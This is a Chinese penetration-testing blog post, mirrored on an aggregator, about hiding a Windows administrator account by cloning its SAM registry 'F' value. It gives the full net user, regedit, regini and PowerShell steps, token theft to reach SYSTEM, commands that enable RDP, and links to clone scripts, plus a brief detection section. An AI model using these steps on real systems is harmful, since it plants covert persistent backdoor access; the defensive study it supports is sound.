8

渗透技巧——Windows系统的帐户隐藏

 3 years ago
source link: https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Windows%E7%B3%BB%E7%BB%9F%E7%9A%84%E5%B8%90%E6%88%B7%E9%9A%90%E8%97%8F/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

0x00 前言


在之前的文章《渗透技巧——Windows系统远程桌面的多用户登录》介绍过Windows系统远程桌面的利用技巧,实现了非服务器版本Windows系统的多用户远程登录,而最近我和Evilcg一起研究了通过帐户克隆实现隐藏帐户的利用技巧。如果将二者结合,会有什么利用技巧呢,本文将会一一介绍。

0x01 简介


本文将要介绍以下内容:

  • 帐户隐藏的方法
  • 编写脚本实现思路
  • 结合远程桌面多用户登录的利用思路

0x02 帐户隐藏的方法


该方法在网上已有相关资料,本节只做简单复现

测试系统:·Win7x86

1、对注册表赋予权限

默认注册表HKEY_LOCAL_MACHINE\SAM\SAM\只有system权限才能修改

现在需要为其添加管理员权限

右键-权限-选中Administrators,允许完全控制

Alt text

重新启动注册表regedit.exe,获得对该键值的修改权限

2、新建特殊帐户

net user test$ 123456 /add
net localgroup administrators test$ /add

注:

用户名要以$结尾

添加后,该帐户可在一定条件下隐藏,输入net user无法获取,如下图

Alt text

但是,在控制面板能够发现该帐户

Alt text

3、导出注册表

在注册表HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names下找到新建的帐户test$

获取默认类型为0x3ea

将注册表HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\test$导出为1.reg

在注册表下能够找到对应类型名称的注册表项HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000003EA

Alt text

右键将该键导出为2.reg,保存的文件信息如下图

Alt text

默认情况下,管理员帐户Administrator对应的注册表键值为HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4

同样,右键将该键导出为3.reg

将注册表项HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000003EA下键F的值替换为HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4下键F的值,即2.reg中键F的值替换成3.reg中键F的值

替换后,如下图

Alt text

4、命令行删除特殊帐户

net user test$ /del

5、导入reg文件

regedit /s 1.reg
regedit /s 2.reg

隐藏账户制做完成,控制面板不存在帐户test$

通过net user无法列出该帐户

计算机管理-本地用户和组-用户也无法列出该帐户

但可通过如下方式查看:

net user test$
Alt text

无法通过net user test$ /del删除该用户,提示用户不属于此组,如下图

Alt text

删除方法:

删除注册表HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\下对应帐户的键值(共有两处)

注:

工具HideAdmin能自动实现以上的创建和删除操作

0x03 编写脚本实现思路


采用powershell脚本实现的两种思路:

1、对注册表添加管理员帐户的编辑权限

使用regini注册ini文件为注册表及其子键赋予权限

注:

Powershell通过Set-Acl为注册表赋予权限,示例代码:

$acl = Get-Acl HKLM:SAM\SAM\
$person = [System.Security.Principal.NTAccount]"Administrators"
$access = [System.Security.AccessControl.RegistryRights]"FullControl"
$inheritance = [System.Security.AccessControl.InheritanceFlags]"None"
$propagation = [System.Security.AccessControl.PropagationFlags]"NoPropagateInherit"
$type = [System.Security.AccessControl.AccessControlType]"Allow"
$rule = New-Object System.Security.AccessControl.RegistryAccessRule( `
$person,$access,$inheritance,$propagation,$type)
$acl.ResetAccessRule($rule)
Set-Acl HKLM:SAM\SAM\Domains\Account\Users\Names $acl

但不支持对子键的权限分配,因此不采用该方法

以下内容保存为a.ini:

HKEY_LOCAL_MACHINE\SAM\SAM\* [1 17]

注:

*代表枚举所有子键

1代表Administrators 完全访问

17代表System 完全访问

详细权限说明可通过cmd执行regini获取帮助,如下图

Alt text

通过regini注册:

regini  a.ini

Evilcg就是通过这种方式实现的,脚本地址:

https://github.com/Ridter/Pentest/blob/master/powershell/MyShell/Create-Clone.ps1

注:

使用*需要system权限,但只把相关的列举出来,只需要管理员权限即可,例如:

HKEY_LOCAL_MACHINE\SAM [1 17]
HKEY_LOCAL_MACHINE\SAM\SAM [1 17]
HKEY_LOCAL_MACHINE\SAM\SAM\Domains [1 17]
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account [1 17]
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users [1 17]
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names [1 17]

2、直接获得System权限

我在之前的文章《渗透技巧——Token窃取与利用》介绍过通过token复制获得system权限的方法

所以,可以先获得System权限,进而拥有对注册表的编辑权限

简单的方式,通过Invoke-TokenManipulation.ps1,地址如下:

https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-TokenManipulation.ps1

但我在测试时发现了一个bug,使用Invoke-TokenManipulation -ImpersonateUser -Username "nt authority\system"无法将当前权限切换为System权限

但可以使用Invoke-TokenManipulation -CreateProcess "cmd.exe" -Username "nt authority\system"新打开一个System权限的进程

接下来,就是编写脚本实现注册表的导出替换功能:

  • 新建测试帐户
  • 将注册表导出到temp目录,进行替换
  • 删除特殊帐户
  • 导入注册表文件

我的实现方法参照了Evilcg的最初始版本,做了细节上的优化,下载地址:

https://github.com/3gstudent/Windows-User-Clone

0x04 结合远程桌面多用户登录的利用思路


通过以上的介绍,可得出该方法的优点:

通过克隆的方式能够继承原帐户的权限

在利用上存在以下需要注意的问题:

1、复制管理员帐户Administrator

需要注意管理员帐户是否被禁用,如果被禁用,那么克隆出的隐藏帐户也是被禁用状态

2、复制已有帐户

在3389远程登录的利用上存在相同帐户的冲突关系

通过cmd开启本机的3389远程登录功能:

REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3d /f

利用以上方法,克隆帐户a的权限,建立隐藏帐户aaa$

如果系统当前登录帐号为a,那么使用隐藏帐户aaa$登录的话,会系统被识别为帐户a,导致帐户a下线

3、新建帐户再复制

进一步,大胆的思考

新建管理员帐户b,克隆帐户b,建立隐藏账户bbb$

删除管理员帐户b,隐藏账户bbb$仍然有效

4、原帐户的维持

克隆帐户a的权限,建立隐藏帐户aaa$

修改帐户a的密码,隐藏帐户aaa$仍然有效

0x05 防御


针对隐藏帐户的利用,查看注册表HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\即可

当然,默认管理员权限无法查看,需要分配权限或是提升至Sytem权限

隐藏帐户的登录记录,可通过查看日志获取

0x06 小结


本文介绍了隐藏帐户的相关利用技巧,如果应用于远程桌面的多用户登录,隐蔽性会大大提高,站在防御的角度,分享出该利用方法,帮助大家更好的认识和防御。


LEAVE A REPLY


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK